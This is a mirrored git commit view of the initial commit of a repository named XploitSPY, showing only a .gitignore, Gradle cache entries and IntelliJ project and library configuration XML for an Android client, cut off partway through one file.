mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 21:52:01 +08:00
Initial commit
This commit is contained in:
commit
2180d1e455
12
.gitignore
vendored
Normal file
12
.gitignore
vendored
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
logs
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
pids
|
||||||
|
*.pid
|
||||||
|
*.seed
|
||||||
|
lib-cov
|
||||||
|
coverage
|
||||||
|
.grunt
|
||||||
|
.lock-wscript
|
||||||
|
build/Release
|
||||||
|
node_modules
|
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.bin
Normal file
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.lock
Normal file
BIN
client/.gradle/5.1.1/executionHistory/executionHistory.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileChanges/last-build.bin
Normal file
BIN
client/.gradle/5.1.1/fileChanges/last-build.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileContent/fileContent.lock
Normal file
BIN
client/.gradle/5.1.1/fileContent/fileContent.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.bin
Normal file
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.lock
Normal file
BIN
client/.gradle/5.1.1/fileHashes/fileHashes.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
Normal file
BIN
client/.gradle/5.1.1/fileHashes/resourceHashesCache.bin
Normal file
Binary file not shown.
0
client/.gradle/5.1.1/gc.properties
Normal file
0
client/.gradle/5.1.1/gc.properties
Normal file
BIN
client/.gradle/5.1.1/javaCompile/classAnalysis.bin
Normal file
BIN
client/.gradle/5.1.1/javaCompile/classAnalysis.bin
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/javaCompile/javaCompile.lock
Normal file
BIN
client/.gradle/5.1.1/javaCompile/javaCompile.lock
Normal file
Binary file not shown.
BIN
client/.gradle/5.1.1/javaCompile/taskHistory.bin
Normal file
BIN
client/.gradle/5.1.1/javaCompile/taskHistory.bin
Normal file
Binary file not shown.
BIN
client/.gradle/buildOutputCleanup/buildOutputCleanup.lock
Normal file
BIN
client/.gradle/buildOutputCleanup/buildOutputCleanup.lock
Normal file
Binary file not shown.
2
client/.gradle/buildOutputCleanup/cache.properties
Normal file
2
client/.gradle/buildOutputCleanup/cache.properties
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
#Fri Aug 23 22:31:36 BST 2019
|
||||||
|
gradle.version=5.1.1
|
BIN
client/.gradle/buildOutputCleanup/outputFiles.bin
Normal file
BIN
client/.gradle/buildOutputCleanup/outputFiles.bin
Normal file
Binary file not shown.
0
client/.gradle/vcs-1/gc.properties
Normal file
0
client/.gradle/vcs-1/gc.properties
Normal file
BIN
client/.idea/caches/build_file_checksums.ser
generated
Normal file
BIN
client/.idea/caches/build_file_checksums.ser
generated
Normal file
Binary file not shown.
BIN
client/.idea/caches/gradle_models.ser
generated
Normal file
BIN
client/.idea/caches/gradle_models.ser
generated
Normal file
Binary file not shown.
116
client/.idea/codeStyles/Project.xml
generated
Normal file
116
client/.idea/codeStyles/Project.xml
generated
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
<component name="ProjectCodeStyleConfiguration">
|
||||||
|
<code_scheme name="Project" version="173">
|
||||||
|
<codeStyleSettings language="XML">
|
||||||
|
<indentOptions>
|
||||||
|
<option name="CONTINUATION_INDENT_SIZE" value="4" />
|
||||||
|
</indentOptions>
|
||||||
|
<arrangement>
|
||||||
|
<rules>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>xmlns:android</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>xmlns:.*</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
<order>BY_NAME</order>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>.*:id</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>.*:name</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>name</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>style</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>.*</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>^$</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
<order>BY_NAME</order>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>.*</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>http://schemas.android.com/apk/res/android</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
<order>ANDROID_ATTRIBUTE_ORDER</order>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
<section>
|
||||||
|
<rule>
|
||||||
|
<match>
|
||||||
|
<AND>
|
||||||
|
<NAME>.*</NAME>
|
||||||
|
<XML_ATTRIBUTE />
|
||||||
|
<XML_NAMESPACE>.*</XML_NAMESPACE>
|
||||||
|
</AND>
|
||||||
|
</match>
|
||||||
|
<order>BY_NAME</order>
|
||||||
|
</rule>
|
||||||
|
</section>
|
||||||
|
</rules>
|
||||||
|
</arrangement>
|
||||||
|
</codeStyleSettings>
|
||||||
|
</code_scheme>
|
||||||
|
</component>
|
4
client/.idea/encodings.xml
generated
Normal file
4
client/.idea/encodings.xml
generated
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="Encoding" addBOMForNewFiles="with NO BOM" />
|
||||||
|
</project>
|
15
client/.idea/gradle.xml
generated
Normal file
15
client/.idea/gradle.xml
generated
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="GradleSettings">
|
||||||
|
<option name="linkedExternalProjectsSettings">
|
||||||
|
<GradleProjectSettings>
|
||||||
|
<compositeConfiguration>
|
||||||
|
<compositeBuild compositeDefinitionSource="SCRIPT" />
|
||||||
|
</compositeConfiguration>
|
||||||
|
<option name="distributionType" value="DEFAULT_WRAPPED" />
|
||||||
|
<option name="externalProjectPath" value="$PROJECT_DIR$" />
|
||||||
|
<option name="resolveModulePerSourceSet" value="false" />
|
||||||
|
</GradleProjectSettings>
|
||||||
|
</option>
|
||||||
|
</component>
|
||||||
|
</project>
|
11
client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: android.arch.core:common:1.1.1@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/e55b70d1f5620db124b3e85a7f4bdc7bd48d9f95/common-1.1.1.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.core/common/1.1.1/ae9b923fc99c1fc5a7a9b6cedc6df8b2b8529c54/common-1.1.1-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: android.arch.lifecycle:common:1.1.1@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/207a6efae6a3555e326de41f76bdadd9a239cbce/common-1.1.1.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/common/1.1.1/bcdaa509a856d1430e736b102f899aa9870a8f83/common-1.1.1-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
12
client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
generated
Normal file
12
client/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/android.arch.lifecycle/runtime/1.1.1/8e4214221b3797b863dc9998d16abb4af043e784/runtime-1.1.1-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
9
client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support:collections:28.0.0@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/collections/28.0.0/c1bcdade4d3cc2836130424a3f3e4182c666a745/collections-28.0.0.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES />
|
||||||
|
</library>
|
||||||
|
</component>
|
9
client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support:support-annotations:28.0.0@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support/support-annotations/28.0.0/ed73f5337a002d1fd24339d5fb08c2c9d9ca60d8/support-annotations-28.0.0.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES />
|
||||||
|
</library>
|
||||||
|
</component>
|
13
client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
generated
Normal file
13
client/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml
generated
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support:support-compat:28.0.0@aar">
|
||||||
|
<ANNOTATIONS>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/annotations.zip!/" />
|
||||||
|
</ANNOTATIONS>
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES />
|
||||||
|
</library>
|
||||||
|
</component>
|
12
client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
generated
Normal file
12
client/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml
generated
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support.test.espresso:espresso-core:2.2.2@aar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/f248ec95ff978aef25f22661bac3040e/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-core/2.2.2/114039ff105fc481a629b55882f2c5c7a614e32a/espresso-core-2.2.2-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
@ -0,0 +1,12 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support.test.espresso:espresso-idling-resource:2.2.2@aar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/b0b42e0d99aec2397392fa8235f7f8c7/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test.espresso/espresso-idling-resource/2.2.2/bc8e66874feb004144562e64053cf95b4c7b3eb7/espresso-idling-resource-2.2.2-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
@ -0,0 +1,12 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support.test:exposed-instrumentation-api-publish:0.5@aar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/a9b595b872e51552bc63531071c46983/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/exposed-instrumentation-api-publish/0.5/493e9b2f2905ddc7f1a152446cc1d9d00ded10b0/exposed-instrumentation-api-publish-0.5-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
15
client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
generated
Normal file
15
client/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml
generated
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support.test:rules:0.5@aar">
|
||||||
|
<ANNOTATIONS>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/annotations.zip!/" />
|
||||||
|
</ANNOTATIONS>
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/668fb5b63947713b75d6168bdb26fc34/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/rules/0.5/eb0523edeca93697d4c4b767277b407ed5920258/rules-0.5-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
15
client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
generated
Normal file
15
client/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml
generated
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support.test:runner:0.5@aar">
|
||||||
|
<ANNOTATIONS>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/annotations.zip!/" />
|
||||||
|
</ANNOTATIONS>
|
||||||
|
<CLASSES>
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/res" />
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/53aa75b65d55005de326dff522bc4a54/jars/classes.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.android.support.test/runner/0.5/d13156b1f4d8dc7013cd8b3b1284b22bd3b44d23/runner-0.5-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
10
client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
generated
Normal file
10
client/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml
generated
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.android.support:versionedparcelable:28.0.0@aar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/jars/classes.jar!/" />
|
||||||
|
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/res" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES />
|
||||||
|
</library>
|
||||||
|
</component>
|
9
client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
generated
Normal file
9
client/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml
generated
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.google.code.findbugs:jsr305:2.0.1@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.google.code.findbugs/jsr305/2.0.1/516c03b21d50a644d538de0f0369c620989cd8f0/jsr305-2.0.1.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES />
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.squareup:javawriter:2.1.1@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/67ff45d9ae02e583d0f9b3432a5ebbe05c30c966/javawriter-2.1.1.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup/javawriter/2.1.1/5b31387d839a5cdaf5b6de3990da01f7f2b963c5/javawriter-2.1.1-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.squareup.okhttp3:okhttp:3.5.0@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/4b0bb6bfbecbdd42b97ff400af342bfe7f32bc83/okhttp-3.5.0.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okhttp3/okhttp/3.5.0/e3e18da88ab466f63f28e542dcbce804aa4a1d49/okhttp-3.5.0-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: com.squareup.okio:okio:1.11.0@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/840897fcd7223a8143f1d9b6f69714e7be34fd50/okio-1.11.0.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/com.squareup.okio/okio/1.11.0/46bdbd0e079883accbf581986e7f8f0d999a2637/okio-1.11.0-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: io.socket:engine.io-client:0.8.3@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/854b49396e1e9f9bb0ab025062ddb49c4ed65ca1/engine.io-client-0.8.3.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/engine.io-client/0.8.3/3073f6f52ab83a72d713beb8749d42abe9618227/engine.io-client-0.8.3-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: io.socket:socket.io-client:0.8.3@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/b30500232ff0668a47c9f91f02e6935457a52fb5/socket.io-client-0.8.3.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/io.socket/socket.io-client/0.8.3/723d717cd5ee534d430f3af42a88f39b6195846f/socket.io-client-0.8.3-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: javax.annotation:javax.annotation-api:1.2@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/479c1e06db31c432330183f5cae684163f186146/javax.annotation-api-1.2.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.2/ad18a02db08eaee697f812e333f692fc51129e4a/javax.annotation-api-1.2-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: javax.inject:javax.inject:1@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/a00123f261762a7c5e0ec916a2c7c8298d29c400/javax.inject-1-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__junit_junit_4_12_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: junit:junit:4.12@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/2973d150c0dc1fefe998f834810d68f278ea58ec/junit-4.12.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/junit/junit/4.12/a6c32b40bf3d76eca54e3c601e5d1470c86fcdfa/junit-4.12-sources.jar!/" />
|
||||||
|
</SOURCES>
|
||||||
|
</library>
|
||||||
|
</component>
|
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
generated
Normal file
11
client/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml
generated
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
<component name="libraryTable">
|
||||||
|
<library name="Gradle: org.hamcrest:hamcrest-core:1.3@jar">
|
||||||
|
<CLASSES>
|
||||||
|
<root url="jar://$USER_HOME$/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/1.3/42a25dc3219429f0e5d060061f71acb49bf010a0/hamcrest-core-1.3.jar!/" />
|
||||||
|
</CLASSES>
|
||||||
|
<JAVADOC />
|
||||||
|
<SOURCES>
|
||||||
|
